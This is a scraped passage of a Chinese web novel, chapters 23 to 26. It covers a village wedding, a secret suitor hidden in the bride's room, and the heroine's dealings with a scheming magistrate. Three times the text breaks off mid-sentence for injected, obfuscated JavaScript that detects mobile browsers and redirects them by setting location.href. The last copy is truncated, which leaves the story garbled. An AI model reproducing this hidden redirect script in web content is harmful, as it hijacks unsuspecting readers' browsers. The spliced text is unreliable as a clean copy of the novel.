李碧秀掩唇一笑，面上有些娇羞，“多谢妹妹吉言。” 周兰见他们相处融洽，便道：“你们姐妹俩且在此处说些体己话，阿娘先出去忙了。” 乔元同李碧秀本就不熟，周兰一走，两人也一时没话说了。 李碧秀抓了一把身侧的饴糖给她，“瞧着妹妹年岁还小，姐姐这儿也没什么好东西，你先吃些糖罢。” 乔元伸手接过，“多谢姐姐。” 房内一时间又安静下来。 “妹妹若是坐不住——” “姐姐的衣服真是——” 二人同时出声，又同时停下。 乔元笑着向她，“姐姐先说罢。” 李碧秀道：“我怕妹妹在我这儿坐不住，不如先去外头逛逛吃些东西呢。” 坐在这儿虽说有些不自在，但总比去外头被婶娘们追着问要好，乔元厚着脸皮道：“多年不见姐姐，如今姐姐就要出嫁了，就让我多陪陪你罢。况且我在这儿，万一姐姐有事儿，我也能帮上一二。” 见乔元不为所动，李碧秀的背上滑落一滴汗珠，她掩在大袖里的双手紧握，紧紧绞着手里的帕子，咬唇道：“我今儿早上起的早，现下有些饿了，不知能否劳烦妹妹帮我去外头拿碟子糕饼进来。” 这是小事。 乔元依言起身，抬步往门外走去。 走到门边，乔元突然回头，“忘记问姐姐了，姐姐可有什么忌口，想吃什么味道的糕饼？” 一直死死盯着她的李碧秀没料到她突然回身，忙低头拾掇好自己的情绪，她才温声道：“妹妹当真贴心，若是有红豆味的糕饼就更好了。” 乔元点头，“我这就去为姐姐寻来。” 眸光略过房间里的箱笼一角，乔元瞥见那处突然略过一截深色下摆。 她面色一沉，忙退回到李碧秀身边，抬手拦在她面前，冲着箱笼后大声责问道：“是谁在那儿！” 李碧秀面色一白，强装镇定道：“妹妹怕是看错了罢，这房里哪有什么人。” 乔元眉头皱起，她不可能看错。抬手示意李碧秀安静，乔元顺手抄了张凳子，就准备往那方向去。 见乔元往箱笼后面走去，李碧秀急了，她忙说道：“妹妹不是说要帮我寻糕饼，我现下饿的厉害，妹妹且先去罢。” 23. 吃席（二） 今朝李碧秀嫁人，迎亲队伍马上便到。 若奁箱后头真躲着个男子，新嫁当天，新妇的闺房中却有男子出入，只要泄出一丝消息，李碧秀这辈子便完了。 乔元拧眉思考对策，她们既是表姐妹，她定要护李碧秀周全。 李碧秀见乔元挡在她身前却不说话，疑道：“妹妹这是怎的了？” 乔元低头对她使了个眼色，轻声道：“姐姐莫怕，这奁箱后头有人。” 李碧秀面色一白，强装镇定道：“妹妹怕是看错了罢，这房里哪有什么人。” 抬手示意李碧秀安静，乔元顺手抄了张床榻旁的矮脚凳，就朝那方向走去。 见乔元徐徐往箱笼后面走去，李碧秀急了，她忙说道：“妹妹不是说要帮我寻糕饼，我现下饿的厉害，妹妹且先去罢。” 李碧秀骤然出声，一直提步走路，生怕惊动对方的乔元脚下一顿。 她不可置信地回头，直勾勾地看着李碧秀，眸色犀利的怕是能将人看穿。 正常人的反应不该如此，李碧秀在赶自己走。 明明该是她年纪大些，不知怎的，李碧秀被乔元看的心慌，“妹妹为何这样看我？” 电光火石间，乔元明白了。 李碧秀是知情人。 她知道奁箱后头的人是谁。 乔元将手上的矮脚凳放下，面色有些难看。 “秀姐姐，你可知自己在作甚？” 乔元的一句话，让李碧秀强撑起的笑脸差点挂不住。 李碧秀还想瞒着，“妹妹这话从何说起？” 乔元却直接戳破她，“姐姐今朝既嫁，若知奁箱后有人，定会惊疑不定，生怕有人来污你名节。但姐姐非但不怕，还一味赶我走，敢问姐姐，奁箱后头之人，同你有何关系？” 李碧秀忐忑了一早的心思被乔元一语道破，她眼里流出两行清泪，“妹妹，并非是我有意瞒你……” 未等李碧秀说完，奁箱后头的人却是自己现身，他道：“此事不怪碧秀，是我有些事没问明白，想最后见她一面。” 乔元回头看去，奁箱后头的人瞧上去不过十七八，面目平平，一直屈居在奁箱后头，身上的衣服皱巴成一团，眼神却是坚定。 李碧秀也拉着乔元的手，恳求道：“元妹妹，算是姐姐求你，千万别把今日之事说出去。” 两人本是同宗姐妹，乔元无意为难。她轻叹一口气，“秀姐姐，你这又是何苦。” 今晨沈良翻窗来的突然，李碧秀自是又喜又惊。 她同沈良识于去年庙会，二人一见钟情私下见了几回，后来这事被她爹知晓，本来对她无有不依的爹爹却忽然像换了一个人似的，不仅不许他们二人再见面，还匆匆帮她定了人家。 怕被人发现，李碧秀便想了个办法，待衣物妆面整齐后，将来道贺的婶娘们一一劝走，又让陪着她的翠姐儿吃下容易积食腹痛的糕饼。好容易所有人都走干净了，却不料阿娘又送来了个元姐儿，偏她还一眼看穿了这一切。 李碧秀自是知道这事儿很不体面，但沈郎为了她被囚家中多日，今日还偷跑出来想见她最后一面，她又怎能忍心。 看到现在，乔元哪里还有不明白的，她道：“姐姐希望我如何做？” 李碧秀没想到乔元会如此说，她面上的惊惧缓和了些，“还请妹妹看着门，我只同他说几句话便让他回去。” “不可，他现在便得走。”乔元却断然拒绝。 李碧秀瞧着又要流下眼泪，乔元看向李碧秀，“秀姐姐，我虽不清楚你二人之间的过往，但今日是你的大喜日子。他再留在此处，一旦被人发现，丢的不仅是李家的脸面，还有你夫婿家的，甚至是两家连襟的，你当真愿意如此吗？” 沈良没想到乔元会如此说，他本还以为她会是个替他们遮掩的好妹妹。他怒道：“我不过是想同你姐姐问个清楚，你为何百般阻拦。” 乔元不让着他，丝毫不客气地讥讽道：“你早作甚去了？” “纳采、问名、纳吉、纳征，这中间少说也得半年，这么长的时间，你人在何处？为何偏选今天，一定要找秀姐姐说个清楚？” 乔元的话问醒了李碧秀，她泪眼朦胧地看向沈良，“是啊沈郎，你为何不早些来。若你早些，我便也不用嫁给那……” 沈良支吾着说不出来，他看向李碧秀道：“碧秀，你别听她胡说，你信我，我是有苦衷的。” 乔元听都不想听他说话，直接横在二人中间，“你现在就给我出去。” 沈良却是不想，二人僵持之际，喧天的锣鼓声远远传来，几人心下俱是一紧，糟糕，迎亲的队伍来了。 此时再从正门口出去，难免会遇上人。 乔元顾不上别的，逼着沈良往侧边窗户走。 “跳出去。” 沈良是借着酒劲，才想趁李碧秀未嫁前，同她说个明白。 此时锣声响起，昨夜喝的酒再多，也被吓醒了。他连招呼都来不及同李碧秀打，照着乔元说的，扒着窗户就跳了出去。 烂人一个。 乔元干脆利落地关了窗户。 与此同时，门‘吱呀’一声，也被打开了。 周兰满面红光地走了进来，后头还跟着不少瞧热闹的人。见李碧秀脸上隐有泪痕，周兰急道：“这是怎的了？” 李碧秀掩面不知如何作答。 乔元忙上前一步道：“这事儿怪我，同秀姐姐说了些话，知晓今日一别，便不能常见父母兄长，这才惹姐姐哭了。” 周兰闻言，鼻头也是一酸，这可是她最小的女儿，如何舍得将她早早嫁出去。 见母女俩似是要哭作一团，跟着来的喜娘笑道：“大喜的日子可别哭了，快给新娘子上妆，大红花轿就在外头了。” 周兰这才忍住眼泪，依依不舍地拥着李碧秀道：“好孩子，别哭了，待三日后回门，你便能再见到爹娘了。” “阿娘。”李碧秀的一声娘叫的格外不舍，却终究还是在众人的恭贺声中，盖上盖头，被喜娘扶着走了出去。 不知道沈良是否还躲在窗外，此刻在西屋的人越少越好，乔元跟在后头，笑着请大家都去堂屋观礼。 堂屋正中央，与来时已经大有不同。 八仙桌摆在了最上头，桌案上放着烛台和香茶，旁边安着两把椅子，李展同周兰坐在上座，李家的亲眷则按照辈分在下首一字排开。 李碧秀同她的夫婿站在下首，喜娘正喊着二人敬茶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556092|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看热闹的人从门内挤到门外，时不时有人在旁边起哄。 “新郎官真是好福气，秀姐儿一看就是个能干的。” “可不是，二人瞧着很是登对，当真是天赐良缘。” “听说新郎官家里养了两头牛，秀姐儿嫁过去实是有福气。” 乔元透过人群，也仔细打量着新郎官，面相方正，倒是比方才的那个沈良不知强上多少。 二人敬完茶，李碧秀就要出嫁了。 新郎官走在前头，喜娘扶着李碧秀走在后头。 在李碧秀踏出门的那一刹那，‘噼里啪啦’的鞭炮声在她耳边炸起，同时响起的还有喜娘的一句话，“新娘子出门咯——” 看着李碧秀被扶上轿子，李展同周兰一齐站在台阶上，二人眼中带泪，很是不舍。 周素见状，上前拍了拍周兰的肩膀，当做安慰。 花轿在锣鼓声中渐渐远去，消失在拐角，属于女方的送嫁终是结束了。 李展夫妻擦过眼泪，紧接着招呼起客人来，“大家先进去坐坐吧，今日辛苦各位了。” 按着景朝的习俗，送嫁结束，来帮忙的亲眷和邻里都会在主家吃上一顿便饭。 趁着众人不防，乔元偷偷拐去西屋窗外看了一眼，屋外已经没有人影，想必沈良趁众人都在堂屋，翻墙走了。 好在事情没暴露，也算保住了李碧秀的名声，乔元这才放心回到前院。 离用饭时辰还早，乔元等的无聊，瞧见李碧秀家门口便是一块田地，她进屋同周素说了声，便想着下地里逛逛。 周兰闻言道：“元姐儿下地去作甚，门口这地荒着，还未开始种呢。” “姨母为何不种些东西？”乔元疑惑道。 周兰道：“最近忙着替你秀姐姐置办嫁妆，还要同她夫家商量一应事务，哪里来得及。” 乔元点头，那倒难怪。 她又接着问道：“门口这地，姨母家打算种些什么？” 周兰没有过多思考，“算算时令，该是要种豆子了。” “是到了种豆子的时候了。”周素也跟着道。 “姨母这块地经常种豆子？”乔元问道。 周兰笑道：“这时节，农家大都是种豆子的，不然元姐儿说说还能种些什么？” 乔元不觉好笑，她道：“若这块地经常种豆子，姨母还是换些别的种上才好，免得害上虫害了。” 周兰不以为然，她道：“无妨，这地是种豆种老了的，有也不过是一些青虫，让你姨父同几个哥哥勤抓了便是。” 乔元皱眉，轮作可以有效打破农业昆虫的生活周期，减少虫源基数。如果一块地经常种同一种农作物，会更容易患上病虫害。 她知道周兰听不进自己的话，身为亲眷，乔元还是善意提醒了一句，“那种的时候姨母记得同姨父说，把地耕的深一些，将土好好翻一番晒一晒，这样虫害才能拿少些。” 周兰见她一副小大人模样，笑道：“姨母记下了，难为我们元姐儿小小年纪，便如此费心。” 话已经说尽，乔元也不便多说，希望他们能做到吧。 出了屋子，乔元在四周逛了逛，直到日头高高挂起，才听得有人喊，“席面开了，快来用饭罢。” 24. 吃席（三） 席面摆在李家院子里，总共分设了三桌，亲眷两桌一桌，邻里一桌。 农人没那么多讲究，大家日日抬头不见低头见的，也就没有男女分席这一说。 乔元一家坐在了周兰安排的亲眷桌上，人还未全数入席，冷碟倒是已经先上了。 李家虽为农户，但在喜宴上的礼数一点儿不少，三碟冷菜，一碟酱菜，算上生腌和蔬果，正正好是六碟。 乔永言哪里见过这等场面，他看向桌上的菜，吞咽着口水，扯住乔元的手道：“二姐姐，我们何时才能动筷？” 乔元见坐在主桌的姨父李展，已经举着酒杯起身，她同乔永言说道：“待姨父说完，便可开席了。” 乔永言眼带希冀看向李展，“真希望姨父能说快些。” 乔元轻笑，拍着他的背以示安抚。 李展虽是农户出身，但少时也跟着村里的老秀才念过几天书，他先说了几句文绉绉的话作为开场，随后躬身向在座的众人表示感谢，最后才道：“今日略备薄席，招待不周，还望在座诸位海涵。” 说罢，他将杯中酒一饮而尽。 这便是可以动筷的意思了。 见他入座，席面上的碗碟碰撞声渐起。 后头的帮闲听得主人家吩咐开席，热菜一个接着一个便端了上来。 先头上的是炙鸡，将鸡悬挂在烧满炭火的炉子里高温炙烤，快熟的时候再在外头刷上一层蜜酱，表皮酥脆里头软烂，轻咬下去满口油汁。 管饱的主菜是春饼，薄薄的饼皮里头卷了各色蔬菜，上锅一蒸，蔬菜的颜色透过饼皮露出来，不禁让人食指大动。 今晨现捞的新鲜河虾做了酱腌，旁边放着热腾腾的蒸鱼。 用酒糟腌制成的糟菜跟在后头，入口带着独特的酒香，却不醉人。 时蔬是现烫的荠菜，春日的荠菜刚长出嫩叶，摘了吃是最鲜嫩可口的。 除此以外，其他各色风味小菜铺满整整一桌，最中央的主位上，则置了一盆白水煮肉，搭上蒜醋香汁，白肉蘸酱，一口下去蒜味同醋的酸味在嘴里漫开，很是生津。 桌上的每盘菜乔元都吃了不少，农家席面上的各色菜式制作方法虽然简单，但胜在一个新鲜，即便没有复杂的烹饪技巧，也能还原食物的本味。 临到席末，还上了一碟蜜糖酥瓜，听上去像鲜果，其实是将蜜糖做成各色瓜果造型，小巧酥脆，是孩童们最喜欢吃的。 乔永言连吃两块，见他吃完还想伸手去拿，周素轻敲了他一下，“莫再吃了，仔细晚上回去牙疼。” 乔永言这才不情愿地收回手，不敢再吃。 一这顿席面，主客皆欢，吃的人是心满意足。 李展被人敬了不少酒，送客的时候，他脸颊通红，脚下都有些打摆。 周兰上前扶着他，“你今日饮了不少酒，且先进屋歇着罢。” 李展也知自己有些不胜酒力，但今日是嫁女的大喜日子，他不愿做扫兴之人，便道：“无妨，我还未醉，待客人们走完我再歇息也不迟。” 周兰不再劝说，只跟在他身边笑着将各色亲眷送了出去。 席面上的人渐渐散去，乔元一家也起身告辞，周兰不舍妹妹，两姐妹又站在门口说了些话，直到乔满山将牛车牵了过来，两人这才依依惜别。 去时披着漫天星斗，归家时天上艳红一片。 回到石湾村，乔满山先将家人送至门口，再去王婶家归还牛车。 乔永言在车上睡了一觉，下车时很是精神，他拉着周素的手，砸吧着嘴道：“阿娘，我们晚上吃些什么？” 周素被他牵着往屋里走，随口道：“自然是你爹做什么，我们便吃什么。” 闻言，乔永言上扬的眉眼一瞬间耷拉下来，低落道：“若是日日都能吃席面便好了。” 乔长平跟在后头笑，“永言这么爱吃，长大后不如去做个庖人。” 周素听完也忍俊不禁道：“是呢，不如去做个疱人，也好让家里日日吃上好饭食。” 乔永言以为阿娘同哥哥在说些什么调侃他，一气恼，先跑进屋里去了。 可话虽如此，到了晚间乔满山将饭菜端上桌，乔永言还是老实地吃了个干净。 今日外出一家人都累了，洗漱完毕，乔家人便早早地歇息了。 夜半，众人睡的正熟，忽听得一阵急促的敲门声，有人在外头喊，“姨母，姨母，快些开门，我是兴怀。” 周素背上的伤还没好全，翻身会有痛感，故而睡的浅些。门外那人一敲，她就醒了。 隔着门听不真切，周素推了推身旁还在打鼾的乔满山，道：“你听，是不是有人在敲门？” 乔满山正好梦，被周素一推，朦胧地醒了过来，打了个哈欠道：“这个时辰怎会有人敲门，你该是听错了，快睡下吧。” 周素侧耳细听着，门外好似又没敲门声了，她心存疑虑，莫不是真听错了？ 正当她想睡下，敲门声再次响起，比之前还要急促。 这回定不会听错，她忙推搡着乔满山起来，二人披了件衣服走到堂屋，发现乔元同乔长平已经站在堂屋门口了。 二人轻喊了一声，“爹、娘。” 乔满山终于从睡梦中清醒过来，他眼神犀利，指挥着乔长平抄上家伙，二人率先走到院门口。 “谁人？”乔满山握紧手中的棍子，粗声道。 门外那人见有人应答，忙喊道：“姨父，是我，兴怀。” 乔满山一听，赶快开门将人迎了进来，问道：“兴怀，你怎的这时候来了？可是发生什么事了？” 李兴怀彻夜从李家村奔到石湾村，一路上连口水都来不及喝，他一见到乔满山夫妻俩，直接在院里跪下了，“求姨父姨母救救我爹，我爹他……他被巡检司的人抓走了。”说到最后，他话里已经有些哽咽。 “什么？！”乔家众人脸色俱是一变。 今日下午他们走时还好好的，怎的到了晚上说抓走就被抓走了。 众人还处在震惊中没回过神来，周素先一步上前扶起李兴怀，她眼里满是心疼，“好孩子，你先起来，随姨母进屋再说。” 李家今日糟了难，没人敢将牛车借给他们家，李兴怀只能靠着双腿走过来，长时间的步行让他的双腿酥麻不止，脚上起了不少水泡，连站着都会颤抖。 周素力气小，支撑不住李兴怀，好在乔满山搭了把手，从周素手中接过他，这才将他扶进屋。 乔元给他端了一碗水来，李兴怀一顿牛饮。见他似是不够，乔元又端了一碗出来，连喝三碗，李兴怀这才舔了舔湿润的嘴唇，谢过乔元。 见他缓上不少，乔满山才开口问道：“兴怀，你说你爹被巡检司的人抓走了，到底怎么回事？” 提及此处，李兴怀面露悲色，开始同乔家人阐述前因后果。 今日他爹喝了不少酒，待宾客走后，便进屋歇着了。到了晚间用完饭，他是惯去村口同人闲聊的。周兰见他似是清醒，便也没拦着。可不知怎的，他爹在村口同人起了口角，待他们去时，人已经被巡检司带走了。 “你爹并非冲动之人，中间可是有什么缘故？”乔满山沉思片刻问道。 “这……”李兴怀有些说不出口。 周素道：“兴怀，大家都是亲眷，定不会乱说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579664|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了去，你且安心说罢。” 李兴怀这才道：“后来我娘去问了熟识的婶娘，她们说，有人在村口闲话，说今日迎亲时，见到沈良从小妹院里翻了出来，说我小妹怕是……怕是早就失了贞。” “荒唐！”乔满山拍案而起，女儿家名声何等重要，谁竟如此狠毒，在姑娘新嫁第一日说这等毁人一辈子的闲话！ 周素也气的不行，秀姐儿出嫁是喜事，怎会有人说出这等话来。 李兴怀也气极，他道：“所以我爹气不过，这才同他们起了争执。” 乔元最是知道事情经过，她一听便知，应是沈良出去的时候被人给瞧见了。 她气的有些牙根痒痒，没想到李家最终还是被这烂人给害了。 乔满山见识比李兴怀多些，他道：“若仅是村口吵嘴，不至于将人抓至巡检司，后来可还发生了什么？” 李兴怀眼神有些躲闪，“我爹喝了酒，又在气头上，巡检司的人来驱赶人群的时候，他连巡检司的人也一齐骂了，听人说到后面还动了手。” “这……”乔家人倒吸一口凉气。 巡检司负责维护地方治安，经常会在所辖村镇里定期巡逻，同他们这些平头老百姓比起来，也算是半个官了，李展同巡检司的人起了冲突，这事情就难办了。 李兴怀见乔家人面露难色，作势又要跪下，他哭求道：“姨父姨母，求求你们，救救我爹罢。” 乔满山按住他道：“莫哭，大家都是亲眷，你家有难我们自是要帮忙的，只是……这巡检司哪里是像我们这样的农户能有办法的。” 李兴怀听完，有些心灰意冷。 家里的哥哥们去往了各家亲眷处，他因为年纪小些腿长能跑，便被派来通知石湾村的乔家。 如今乔家也没办法，那他还能找谁去。 听说巡检司做事狠辣不留情面，他爹岂不是要在牢狱里受尽折磨。 周素不忍见李兴怀苍白的脸色，她看向乔元道：“元姐儿，你可有办法。” 乔元听完李兴怀所言，脑中便已经开始想办法了。 如今听周素一问，她刚想开口，却被乔满山打断，他道：“她一个女儿家能有什么办法，兴怀，今日你也累了，先在姨父家住下，待明日一早，姨父便帮你去里正处打听。” 见乔满山好歹给了个承诺，李兴怀不疑有他。乔满山看了乔长平一眼，后者会意起身，将李兴怀扶去屋里歇息。 他又看向乔元道：“元姐儿，你也先去睡罢。” 乔元知爹娘有话要说，也先回了屋。 待人都走了，周素才看向乔满山，面露不解，“方才你怎的打断我？” 乔满山道：“我并非打断你，那巡检司是什么地方，你将元姐儿推出来，岂不是要害了她。” 周素未觉不妥，她道：“可元姐儿毕竟在知县面前露过脸。” 乔满山皱眉道：“你我难道不知这知县是什么人，贪财好色毫无建树。今日元姐儿除蚜害有功，他便对她优待些，若来日万一冲撞了，那元姐儿下狱也是他一句话的事。” 周素这才醒悟过来，有些后怕道：“我方才真是急糊涂了，差点害了元姐儿。” 乔满山知她心焦，安抚道：“你先别急，待明日我去见了里正再说。” “也只能如此了。” 经过这番折腾，后半夜，乔家人没一个睡的好，天还蒙蒙亮，乔满山便起身了。 他开门走到院子里，却见乔元已经等在这儿了。 “元姐儿，你怎的起了？”乔满山有些惊讶。 乔元看向他道：“爹，我要随你一齐去里正处。” 25. 吃席（四） 乔满山面上有些不赞同，“元姐儿，爹知你很有主见，但这事儿同巡检司有关，并非是你一个女儿家出面就能解决的。” 乔元面露疑惑，“爹莫不是误会了什么，在家歇了几日，我想着今日起的早些，方便去里正处问问各村的蚜害如何了。” 乔满山有些狐疑，“元姐儿，你当真不是为了你姨父的事情同我去找的里正？” 晨雾还未散尽，乔元的身形被笼在晨雾中，像是罩了一层纱，虚虚实实看不清楚。 她穿过晨雾，走到乔满山面前挥了挥手，“爹今日是怎的了，我还能骗你不成？” 见乔元一脸坦然，想来应不会出什么问题。再晚些村人该醒了，乔满山不再犹豫，带着乔元一同往里正家走去。 二人走过石子路，到了偏些的村东，在一颗杏树底下拐弯，便到了里正家门口。 乔满山踏上台阶，敲响里正家的门。 不一会儿，木门就被打开了。里正手里捏着一条长巾，从门内探出头来。 见是乔满山父女俩，他很是高兴道：“我道是谁，原来是你门父女俩。”说罢，他又看向乔元，“元姐儿，你头上的伤可好些了？” 乔元上前对他行了一礼，“多谢里正记挂，昨日就已经拆了纱布了。” 里正点点头，将长巾搭在手上，“你们年轻人的身子果真比我这把老骨头要好些，行了，快别站在门口，进来坐罢。” 上一次同乔伯石来接里正，他已经早早收拾好等在门口了，故而乔元压根不知道院内如何。 今日进了门，乔元上下打量一圈，才觉得这房子着实狭小了些。按她的步伐大小，走完整个院子也不过十五步。 院内的东西不多，不过几个木桶，和一些柴火，柴火堆上结了一层蛛网，像是多日没有翻动过了。 视线扫过的屋门口的木头架子，架子上头放着一个木盆，再结合方才里正手上拿的长巾，乔元心下了然。看来里正方才是在盥漱，听到敲门声，这才急急忙忙过来开的门。 果然，里正走到木盆前，将长巾浸入盆中，涤荡一番后拧干。 他回头对乔满山父女道：“你们稍候，我将这水倒了便来。” 乔满山眼疾手快，上前接过道：“今日贸然来访本就打扰，这点子事儿还是我来罢。” 里正也不推辞，见乔满山去院外倒水，他便进屋端了凳子出来。 引着几人在院内坐下，里正这才道：“你们今日怎的来的这样早，可是出什么事情了？” 乔满山开口道：“不怕里正笑话，今日来是为了点私事。” 里正不做声，眸光看向他，示意乔满山接着说下去。 略过李碧秀的细节，乔满山将李展的事儿同里正说了。 “事到如今，敢问里正可有办法救人出来。”乔满山言辞恳切。 里正垂眸思考片刻道：“若是月前，我还能略尽绵力，可如今怕是不行了。你可知，金台县换了位巡检使，据说是从京城来的大家之后，他为人狠厉最不喜人说情，这事儿，怕是难啊。” 见里正也没办法，乔满山轻叹一口气。这事儿扯上巡检司，本就不是轻易能办成的，听得里正也这样说，看来是真的没办法了。 同里正又寒暄几句，乔满山起身告辞。 乔元坐在凳子上不动，抬眸看向他道：“爹，你先回去罢，我同里正说些蚜害的事儿。” 里正在场，乔满山也不好多说什么，只叮嘱她早些回家，便先回去同周素说明情由了。 看着木门被徐徐关上，里正面朝乔元问道：“元姐儿，你可是还有什么话说？” 乔元摇头，“姨父之事本就不易解决，我不愿麻烦里正。乔元今日来，只是想知道如今这金台县的蚜害治得如何了？” 里正道：“今日你不来找我，我也要来找你。金台县里的村子大都已经拿到黄板了，剩下偏远些的，这两日也都能送到了。眼看同知县约定的七日之期要到，我正想问你该如何向他回话。” 乔元道：“若想知县满意，这事儿就得办的漂亮，让他说不出挑刺的话来。若里正不嫌我，今日我可能跟着去各个村里看看？” 乔元能跟着去掌眼，自是再好不过，里正欣然应允。 知会人去乔家说了一声，里正带着乔元，去周边各村走了一遍。 乔元的目的性很明确，一到地方就直奔田地去确认蚜害的情况。一日走下来，蚜害的大致情况她便有了数。 到了晚间回到石湾村，她刚从牛车上下来，迎面便碰到了乔伯石一行人从村外回来。 一行七八个人，脸色都不太好。里正坐在车上，拦住他们问道：“这是怎的了？怎么一个个都垂头丧气的。” 乔伯石对里正行了一礼，正想斟酌着回话，便听后头就有人道：“我们今日去万宝村送第二批黄板，受了那傅德清好大的闲气。明明我们是去帮他们村治蚜的，没成想被羞辱成这个样子。下次他们村这差事儿，我可不愿去了。” 有人开头，自然有人接话。 “里正有所不知，那傅德清见我们一来，开口便骂，字字句句实在难听。” “何止，骂我也就算了，连带着我家妻儿老小，他统统骂了遍。” “下次去万宝村送黄板的活儿，我可不愿再去了。” “我也不愿再去了，若不是伯石事先叮嘱不能闹事，我高低得同他打一场。” 众人七嘴八舌地说着，乔元听完挑了挑眉，她倒是没想到这傅德清还敢蹦跶，在心头给他记了一笔，乔元暗自思量着，这笔账她迟早要算回来。 里正出言安抚了众人，又承诺只要去万宝村，每人便多二十文钱，众人这才听话散去。 天色已晚，乔元不便久留，同里正约好去县衙的时间，便先回了家。 七日之约到的那天，乔元同样起了个大早，乔伯石按着之前的顺序先来接的她，而后再接的里正。 不过这一回，她同乔伯石之间的空气较之前凝固了不少，二人除了初见的见礼问候， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周进坐在上首看向她，面上没有过多神色，他道：“乔姑娘果真有些本事，我听下头的人来报，说自从有了这黄板，金台县的蚜害好了不知多少，只怕再多些日子，便可除尽了。” 乔元摸不清周进今日的意思，只得先顺着他的话道：“我不过是出了个法子，若没有知县鼎力相助，哪能这么容易成事。” 周进面上这才有了些笑意，他道：“没想到乔姑娘小小年纪，说话倒是滴水不漏。我且问你，这蚜害还需要多久才能除尽？” 乔元算了算时间道：“不出意外的话，月内便可除尽了。” 周进点了点头道，“那便好，下月州里会派人下来巡视，你必须在下月之前，将金台县的蚜害给我除尽。” 乔元点头应是。 周进面上这才缓和了些，他看向乔元，眼里露出几分算计，“乔姑娘，听说你家有两个兄弟，最小的不过五岁？” 乔元低垂的头瞬间抬起，周进这是什么意思？ 26. 吃席（五） 周进坐在上首，将乔元的变化尽收眼底，他脸颊上有些松弛的肉随着嘴角的上扬而高高挂起，笑容又黏腻又恶心，他道：“令弟小小年纪，人在乡野，总归是埋没了。县衙后头便是学塾，乔姑娘不若将你的弟弟送过来，束脩的费用便由县衙承担，也不枉费你这段时间的辛苦。” 这算什么，将永言放在周进眼皮子底下当人质？ 她家不过一介贫农，何至于此。 乔元收回方才有些锐利的目光，低垂头颅没有接话。 见乔元不吭声，站在周进身后的吴才道：“乔姑娘，知县也是感念你这段时日的辛苦，这才愿意破格将令弟送往学塾，你合该道谢才是。” 二人的目光直直的盯着乔元，等待着她的回答。 是祸躲不过。 乔元掩在衣袖下的手掐了大腿一把，转而眸光中便起了一层水雾，她抬头装作感激道：“知县大人当真贤德，乔元不过为县中事务略尽绵力，便能得到大人如此优待，此生能有幸在大人手下做事，真是天大的福气。” 周进听她一阵阿谀，心情舒缓不少，他道：“那这事儿便这样定下，你明日就将你弟弟送来罢。” “知县大人这番厚待，我自当承情才是。只是……”乔元话锋一转，“我家幼弟是个不争气的，我娘生他的时候没吃过多少好饭食，这孩子生下来胆子便比旁人小上几分，一受惊就会昏厥，若让他到学塾上学，他晕倒事小，只怕传出去会对知县的名声有碍。” “为何？”周进的眉眼带了探究。 “幼弟若在学塾经常晕厥，知道的会说知县体恤，有功当赏；可有些不长眼的，万一趁着巡查将来的关键时候，往知县头上泼脏水。说知县明知小儿有疾，还将他扣在学塾。如此一来，知县的苦心非但无人知晓，反倒害了知县的名声。” 乔元边说边看周进的脸色，他的唇角显而易见的低垂了下来。 “我看谁敢！”周进拍了一下案桌。 乔元又道：“知县大人在此地矜矜业业多年，如今除蚜害一旦成功，这功绩会引得多少人眼热，小人并非舍不得将幼弟送来，只怕这事儿到最后，反倒害了大人。” 周进听得吴才的话，他想往上爬，乔元是个必不可少的助力。可她一介女儿身，到底有些不得力，不若将她家人绑在身边，才能让她乖乖听话。 吴才的话很是有一番道理，让乔元将幼弟送来学塾，周进自认为没有丝毫亏待，可如今听乔元一说，他又觉得这法子算不上万全之策。 周进面色几经变换道：“罢了，你先将这蚜害除完，这事儿以后再议罢。” 他可不愿为了这几个贫农，在这样的节骨眼上出乱子。 吴才脸色有些阴沉，这样的当口都能劝得知县放过她家人，这姑娘未免也太伶俐了些。 周进放过乔永言，乔元面上没有丝毫放松，她接着道：“知县大人如此为小人着想，乔元自是感激涕零。只不过如今，还有一事想麻烦大人。” 周进兴致缺缺，“说罢。” 乔元道：“巡检司在日前拘了小人的姨父去，这几日我家中亲眷投告无门，还请知县垂怜，舍我姨父一条生路。” 周进道：“巡检司？” 乔元道：“正是。” 周进道：“所为何事？” 乔元道：“我姨父在嫁女那日多喝了些酒，不料在村头同人起了口角，惹到了巡检司巡查的差役们，推搡中碰了差役几下，便被拘了去。” 是件小事。 不过一想到能给江稷添堵，周进点了点吴才，道：“这事儿便交由你去办，你这就带着乔姑娘去巡检司提人。” 吴才有些不情愿，却也不能表现出来，他对着周进躬身行礼，“是，属下这就去办。” 从后院出来，乔元这才惊觉自己的后背有些濡湿，被风一吹，她整个人都瑟缩了一下。 周进还有用的上乔元的地方，吴才也不能对她太过不客气，只得道：“乔姑娘稍后，我这便派人驱车同你一齐去巡检司。” 乔元回礼，“多谢先生。” 不多时，马车便停在了侧门，吴才坐在车轼上，乔元坐在车内，二人一齐前往巡检司。 乔元从未来过巡检司，只知道它落在金台县中的要道上，门前道路四通八达，去往何处都很是便捷。 